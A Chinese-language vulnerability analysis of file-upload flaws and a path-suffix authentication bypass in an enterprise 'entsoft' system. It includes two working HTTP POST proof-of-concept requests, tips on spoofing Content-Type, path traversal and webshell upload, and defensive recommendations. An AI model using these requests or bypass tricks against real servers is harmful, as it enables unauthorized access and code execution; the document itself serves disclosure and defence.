某恩特文件上传漏洞分析
字数 1384 2025-08-24 07:48:10

某恩特系统文件上传漏洞分析与利用教学文档

0x01 漏洞概述

某恩特系统存在多处文件上传漏洞,攻击者可以利用这些漏洞上传任意文件(包括恶意脚本)到服务器,进而获取系统控制权。该系统还存在着鉴权绕过问题,使得未授权访问成为可能。

0x02 漏洞分析

1. 原始文件上传漏洞 (fileupload.jsp)

漏洞位置

/entsoft_en/entereditor/jsp/fileupload.jsp?filename=1.jsp

漏洞原理

  • 该JSP文件直接获取输入流和文件名,未做任何过滤即保存文件
  • 导致任意文件上传漏洞

利用限制

  • 该漏洞影响范围有限,多数系统已修复
  • 系统对jsp等脚本文件做了鉴权,但fileupload.jsp在开发者允许访问的白名单中

2. 鉴权绕过机制

分析发现

  • 通过查看web.xml和反编译common.jar文件,发现系统使用Filter进行访问控制
  • 系统通过contains方法判断URL是否包含需要排除的字符和路径

绕过方法

  • 在访问路径后添加;.js;.jpg;.html等后缀
    • 例如:/entsoft/MailAction.entphone;.png
  • 这种技术可以绕过登录限制,访问原本需要鉴权的功能

3. MailAction中的文件上传漏洞

漏洞位置

/entsoft/MailAction.entphone;.png?act=saveAttaFile

漏洞原理

  • MailAction接收method、act、eid三个参数
  • 当act=saveAttaFile时,执行文件上传操作
  • 未对文件后缀进行任何过滤,导致任意文件上传

利用POC

POST /entsoft/MailAction.entphone;.png?act=saveAttaFile HTTP/1.1
Host: xx
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye8FPHsIAq9JN8j2A

------WebKitFormBoundarye8FPHsIAq9JN8j2A
Content-Disposition: form-data; name="file"; filename="beautif.js"
Content-Type: xxx/txt

1
------WebKitFormBoundarye8FPHsIAq9JN8j2A--

4. AppUpload方法中的文件上传漏洞

漏洞位置

/entsoft/MailAction.entphone;.js?act=AppUpload&bodyID=1

漏洞原理

  • 判断contentType是否不为空
  • 判断contentType是否包含"image"
  • 取contentType中的值作为后缀
  • 可通过伪造contentType为image/jsp绕过限制

利用POC

POST /entsoft/MailAction.entphone;.js?act=AppUpload&bodyID=1 HTTP/1.1
Host: host
Content-Type: multipart/form-data; boundary=-255059884712683317431739889351

--255059884712683317431739889351
Content-Disposition: form-data; name="file"; filename="1.png"
Content-Type: image/jsp

<%= (new java.util.Date()).toLocaleString()%>
--255059884712683317431739889351--

5. 其他存在漏洞的接口

  • /entsoft/CustomerAction.entphone;.js?method=loadFile
  • 系统中几乎所有包含上传功能的Action都可能存在类似问题

0x03 漏洞利用技巧

  1. 鉴权绕过技巧

    • 尝试在URL后添加各种后缀:;.js;.png;.html
    • 尝试路径穿越:/xxx可访问的路径/../鉴权路径
  2. 文件上传技巧

    • 对于检查contentType的上传点,尝试伪造contentType(如image/jsp
    • 对于检查文件名的上传点,尝试使用特殊字符绕过(如;%00等)
  3. 漏洞组合利用

    • 结合鉴权绕过和文件上传漏洞进行利用
    • 上传webshell后,进一步渗透系统

0x04 防御建议

  1. 文件上传防护

    • 严格校验文件类型,不仅检查扩展名,还要检查文件内容
    • 使用白名单机制限制可上传的文件类型
    • 对上传文件重命名,避免直接使用用户提供的文件名
    • 将上传文件存储在非web可访问目录
  2. 鉴权防护

    • 修复鉴权绕过漏洞,严格校验请求路径
    • 避免使用contains方法进行路径匹配
    • 实现完整的权限控制系统
  3. 其他防护措施

    • 定期更新系统补丁
    • 限制服务器端脚本执行权限
    • 部署WAF防护常见攻击

0x05 总结

某恩特系统存在多处严重安全漏洞,特别是文件上传结合鉴权绕过的问题危害极大。攻击者可以轻易上传恶意文件并执行任意代码。建议使用该系统的组织立即检查并修复这些漏洞,同时加强系统整体的安全防护措施。

某恩特系统文件上传漏洞分析与利用教学文档 0x01 漏洞概述 某恩特系统存在多处文件上传漏洞,攻击者可以利用这些漏洞上传任意文件(包括恶意脚本)到服务器,进而获取系统控制权。该系统还存在着鉴权绕过问题,使得未授权访问成为可能。 0x02 漏洞分析 1. 原始文件上传漏洞 (fileupload.jsp) 漏洞位置 : 漏洞原理 : 该JSP文件直接获取输入流和文件名,未做任何过滤即保存文件 导致任意文件上传漏洞 利用限制 : 该漏洞影响范围有限,多数系统已修复 系统对jsp等脚本文件做了鉴权,但fileupload.jsp在开发者允许访问的白名单中 2. 鉴权绕过机制 分析发现 : 通过查看web.xml和反编译common.jar文件,发现系统使用Filter进行访问控制 系统通过contains方法判断URL是否包含需要排除的字符和路径 绕过方法 : 在访问路径后添加 ;.js 、 ;.jpg 、 ;.html 等后缀 例如: /entsoft/MailAction.entphone;.png 这种技术可以绕过登录限制,访问原本需要鉴权的功能 3. MailAction中的文件上传漏洞 漏洞位置 : 漏洞原理 : MailAction接收method、act、eid三个参数 当act=saveAttaFile时,执行文件上传操作 未对文件后缀进行任何过滤,导致任意文件上传 利用POC : 4. AppUpload方法中的文件上传漏洞 漏洞位置 : 漏洞原理 : 判断contentType是否不为空 判断contentType是否包含"image" 取contentType中的值作为后缀 可通过伪造contentType为 image/jsp 绕过限制 利用POC : 5. 其他存在漏洞的接口 /entsoft/CustomerAction.entphone;.js?method=loadFile 系统中几乎所有包含上传功能的Action都可能存在类似问题 0x03 漏洞利用技巧 鉴权绕过技巧 : 尝试在URL后添加各种后缀: ;.js 、 ;.png 、 ;.html 等 尝试路径穿越: /xxx可访问的路径/../鉴权路径 文件上传技巧 : 对于检查contentType的上传点,尝试伪造contentType(如 image/jsp ) 对于检查文件名的上传点,尝试使用特殊字符绕过(如 ; 、 %00 等) 漏洞组合利用 : 结合鉴权绕过和文件上传漏洞进行利用 上传webshell后,进一步渗透系统 0x04 防御建议 文件上传防护 : 严格校验文件类型,不仅检查扩展名,还要检查文件内容 使用白名单机制限制可上传的文件类型 对上传文件重命名,避免直接使用用户提供的文件名 将上传文件存储在非web可访问目录 鉴权防护 : 修复鉴权绕过漏洞,严格校验请求路径 避免使用contains方法进行路径匹配 实现完整的权限控制系统 其他防护措施 : 定期更新系统补丁 限制服务器端脚本执行权限 部署WAF防护常见攻击 0x05 总结 某恩特系统存在多处严重安全漏洞,特别是文件上传结合鉴权绕过的问题危害极大。攻击者可以轻易上传恶意文件并执行任意代码。建议使用该系统的组织立即检查并修复这些漏洞,同时加强系统整体的安全防护措施。